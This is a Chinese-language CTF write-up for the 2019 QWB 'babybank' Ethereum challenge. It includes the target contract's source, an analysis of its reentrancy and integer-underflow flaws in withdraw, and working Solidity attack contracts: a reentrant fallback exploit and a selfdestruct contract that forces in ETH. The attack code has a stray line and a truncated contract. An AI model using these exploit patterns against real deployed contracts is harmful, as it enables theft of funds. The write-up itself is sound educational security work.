# 2019强网杯babybank

# 题目信息

Get the flag after payforflag event is emitted 0xd630cb8c3bbfd38d1880b8256ee06d168ee3859c@ropsten

在执行完payforflag函数后获取flag,并且给出了题目合约的地址。

同时给出部分合约源码

pragma solidity ^0.4.23;

contract babybank {
    mapping(address => uint) public balance;
    mapping(address => uint) public level;
    address owner;
    uint secret;
    
    //Don't leak your teamtoken plaintext!!! md5(teamtoken).hexdigest() is enough.
    //Gmail is ok. 163 and qq may have some problems.
    event sendflag(string md5ofteamtoken,string b64email); 
    
    constructor()public{
        owner = msg.sender;
    }
    
    //pay for flag
    function payforflag(string md5ofteamtoken,string b64email) public{
        require(balance[msg.sender] >= 10000000000);
        balance[msg.sender]=0;
        owner.transfer(address(this).balance);
        emit sendflag(md5ofteamtoken,b64email);
    }
    
    modifier onlyOwner(){
        require(msg.sender == owner);
        _;
    }
......

知道合约地址的情况下,我们可以通过合约反编译器对题目合约进行反编译来获取合约源码。

反编译出来的代码并不是看的很懂,所以观摩了大佬整理的源码。

pragma solidity ^0.4.23;

contract babybank {
    mapping(address => uint) public balance;
    mapping(address => uint) public level;
    address owner;
    uint secret;
    
    //Don't leak your teamtoken plaintext!!! md5(teamtoken).hexdigest() is enough.
    //Gmail is ok. 163 and qq may have some problems.
    event sendflag(string md5ofteamtoken,string b64email); 
    
    
    constructor()public{
        owner = msg.sender;
    }
    
    //pay for flag
    function payforflag(string md5ofteamtoken,string b64email) public{
        require(balance[msg.sender] >= 10000000000);
        balance[msg.sender]=0;
        owner.transfer(address(this).balance);
        emit sendflag(md5ofteamtoken,b64email);
    }
    
    modifier onlyOwner(){
        require(msg.sender == owner);
        _;
    }
    
    //challenge 1 
    function profit() public{
        require(level[msg.sender]==0);
        require(uint(msg.sender) & 0xffff==0xb1b1);
        balance[msg.sender]+=1;
        level[msg.sender]+=1;
    }
    
    //challenge 2
    function set_secret(uint new_secret) public onlyOwner{
        secret=new_secret;
    }
    function guess(uint guess_secret) public{
        require(guess_secret==secret);
        require(level[msg.sender]==1);
        balance[msg.sender]+=1;
        level[msg.sender]+=1;
    }
    
    //challenge 3
    function transfer(address to, uint amount) public{
        require(balance[msg.sender] >= amount);
        require(amount==2);
        require(level[msg.sender]==2);
        balance[msg.sender] = 0;
        balance[to] = amount;
    }
    
    //leak function
    function withdraw(uint amount) public{
        require(amount==2);
        require(balance[msg.sender] >= amount);
        msg.sender.call.value(amount*100000000000000)();
        balance[msg.sender] -= amount;
    }
}

# 源码分析

下面分析一下源码,根据题目要求,我们需要执行payforflag这个函数。

在这个函数中,存在一个条件balance[msg.sender] >= 10000000000,再看看其他函数,能够帮我们增加balance的只有profitguess两个函数。guess函数中,需要level[msg.sender]==1才能够执行,而在profit函数中则是level[msg.sender]==0,考虑到初始balance和level为0,很明显我们需要先执行profit函数。

function profit() public{
        require(level[msg.sender]==0);
        require(uint(msg.sender) & 0xffff==0xb1b1);
        balance[msg.sender]+=1;
        level[msg.sender]+=1;
    }

除了level需要为0,profit函数还需要一个条件,即uint(msg.sender) & 0xffff==0xb1b1,已知&运算是相同为1,不同为0,因此msg.sender的末尾应该为0xb1b1,即账户地址末四位为0xb1b1。

这里可以通过一个地址生成器来获取末四位为0xb1b1的账户(后面简称账户A)

https://vanity-eth.tk/

获取到账户A后,利用私钥将账户A添加至matemask钱包,我们通过账户A来执行profit函数。我们先把合约编码编译并通过编译器的at address功能放置在0xD630cb8c3bbfd38d1880b8256eE06d168EE3859c上(题目给出的合约地址)。

部署好合约后,matemask中选择连接账户A, 执行profit函数,执行完成后,再下方balancelevel两个按钮中输入账户A的地址,可以查看当前balance和level为1。

在level为1后,我们就可以执行guess函数了,下面分析一下guess函数。

function guess(uint guess_secret) public{
        require(guess_secret==secret);
        require(level[msg.sender]==1);
        balance[msg.sender]+=1;
        level[msg.sender]+=1;
    }

除了level[msg.sender]==1以外,还需要让guess_secret==secretguess_secret是我们输入的值,那么secret又是什么呢?我们看看set_secret函数。

function set_secret(uint new_secret) public onlyOwner{
        secret=new_secret;
    }

可以看到secret是由new_secret决定的,但是我们注意到set_secret这个函数定义时有个onlyOwner

modifier onlyOwner(){
        require(msg.sender == owner);
        _;
    }

可以看出,只有合约的主人,也就是部署合约的账户才能够调用set_secret函数,显然我们并没有办法重新赋值secret,那么我们怎么才能知道secret到底是什么呢?

我们可以通过区块链浏览器查看一下部署合约的账户0x409dd71C0E5500dA1e0489d4885411b1Da52d4c2,发现他最后一条交易信息执行的就是set_secret函数。

点开这条交易记录,在最下方的Input Data中,可以选择decode data来查看数据。

可以看到new_secret为1123581321345589,知道secret后,将其输入至guess按钮旁的编辑框中,点击guess按钮执行函数。待执行完成后再次点击balancelevel两个按钮,可以查看当前balance和level为2。

前面我们说到能够帮我们增加balance的只有profitguess两个函数。现在这两个函数都执行完了,我们的balance才为2,显然不够payforflag函数所需要的10000000000。再看看有没有还没有用到的函数,这时候,我们发现了withdraw函数。

function withdraw(uint amount) public{
        require(amount==2);
        require(balance[msg.sender] >= amount);
        msg.sender.call.value(amount*100000000000000)();
        balance[msg.sender] -= amount;
    }

仔细观察withdraw函数,我们发现了两个敏感点,第一个是msg.sender.call.value(amount*100000000000000)();,我们知道call函数会造成重入攻击;另一个是balance[msg.sender] -= amount;,它会造成整型下溢出。

为了执行上面两句带有漏洞的函数,我们需要通过两个条件,一个是输入的amount必须为2,另一个是我们进行交互的合约的balance必须大于等于amount也就是2。因此我们部署一个能够进行重入攻击的合约,通过反复调用withdraw函数来让balance实现整型下溢出,变成一个极大的数字。

# 进行攻击

pragma solidity ^0.4.23;

//声明合约源码函数
interface BabybankInterface {
    function withdraw(uint256 amount) external;
    function profit() external;
    function guess(uint256 number) external;
    function transfer(address to, uint256 amount) external;
    function payforflag(string md5ofteamtoken, string b64email) external;
}

//攻击合约
contract attacker {
    BabybankInterface private target = BabybankInterface(0xd630cb8c3bbfd38d1880b8256ee06d168ee3859c);
    uint private flag = 0;
    
    //攻击函数
    function exploit() public{
        target.withdraw(2);
    }
    
    //执行payforflag函数
    function sendflag() public payable{
        target.payforflag("Coldwinds","825592085@qq.com");
    }
    qq.com
    //构成fallback函数,实现重入攻击
    function() external payable{
        require (flag == 0);
        flag = 1;
        target.withdraw(2);
    }
}

考虑到执行payforflag函数也需要通过该攻击合约进行,所以这里直接给出攻击合约的所有代码。

部署好攻击合约如下图所示:(后面简称合约B,地址为0x95eD631946C71bD98C2dB5b23B48297192b19068

这时候我们点击exploit进行攻击,编译器会提醒我们该操作很可能失败,事实上,失败是必然的。因为执行withdraw函数需要我们进行交互的这个地址在必须在题目合约中有balance,而我们前面获得的balance其实是属于账户A的,部署的合约B在题目合约中没有balance,自然不能攻击成功。

为了把账户A的balance转移给合约B,我们需要执行transfer函数。

function transfer(address to, uint amount) public{
        require(balance[msg.sender] >= amount);
        require(amount==2);
        require(level[msg.sender]==2);
        balance[msg.sender] = 0;
        balance[to] = amount;
    }

transfer函数有三个条件,一是交互账户的balance必须大于等于amount,二是amount必须等于2,三是交互账户的level必须等于2,发现账户A是符合条件的(balance=amount=2且level=2)。因此我们在transfer按钮旁的编辑框中输入我们部署的合约B的地址,并输入要转移的balance数目amount,即0x95eD631946C71bD98C2dB5b23B48297192b19068,2

transfer函数执行完成后,我们点击点击balancelevel两个按钮,可以查看当前balance为0而level为2,将balance的地址换成合约B后,发现合约B的balance变成了2,说明账户A的balance已经成功转移到了合约B。

# 避坑!

既然合约B已经拥有了balance,我们就可以点击攻击合约中的exploit进行攻击了,吗?

如果你执行了exploit函数,那么恭喜你,你可能要重头再来了。

我们再次阅读withdraw函数

function withdraw(uint amount) public{
        require(amount==2);
        require(balance[msg.sender] >= amount);
        msg.sender.call.value(amount*100000000000000)();
        balance[msg.sender] -= amount;
    }

可以看到其中的call函数,我们知道执行call函数是需要gas的,然而题目合约中是没有ETH的,也就无法调用call函数。如果这时调用了withdraw,不仅不能实现重入攻击,还会导致合约B的balance被清零!也就无法再次调用withdraw了。

为了能够实现重入攻击,我们就需要向题目合约中存入一定量的ETH。可是看完整篇源码,发现题目合约是不支持正常转入ETH的。因此只能通过自毁函数selfdestruct来向题目合约强制转入ETH。

关于selfdestruct函数,只要知道它可以用来销毁合约,并将该合约中的ETH全部强制转入目标地址。

所以我们部署一个合约C,并向其中转入0.2个ETH(够题目合约支付gas就行)。代码如下:

contract get_money {
    function kill() public payable{
        selfdestruct(address(0xd630cb8c3bbfd38d1880b8256ee06d168ee3859c));
    }
    constructor() public payable{

部署完合约后,按下kill按钮即可销毁合约C,并将其中的0.2个ETH转入题目合约。

这时候,执行攻击合约B中的exploit函数,才能够正确进行重入攻击,发生整型下溢出,让攻击合约B拥有大量的balance。

没转入ETH的时候点了exploit,导致balance被清零,做这道题已经建了好几个0xb1b1的账户,实在是不想重新操作一遍了,最后的图就不搞了。

# 成功!

在获取了大量balance后,就可以执行payforflag函数,点击攻击合约B的sendflag按钮,即可执行payforflag函数,成功达成题目要求!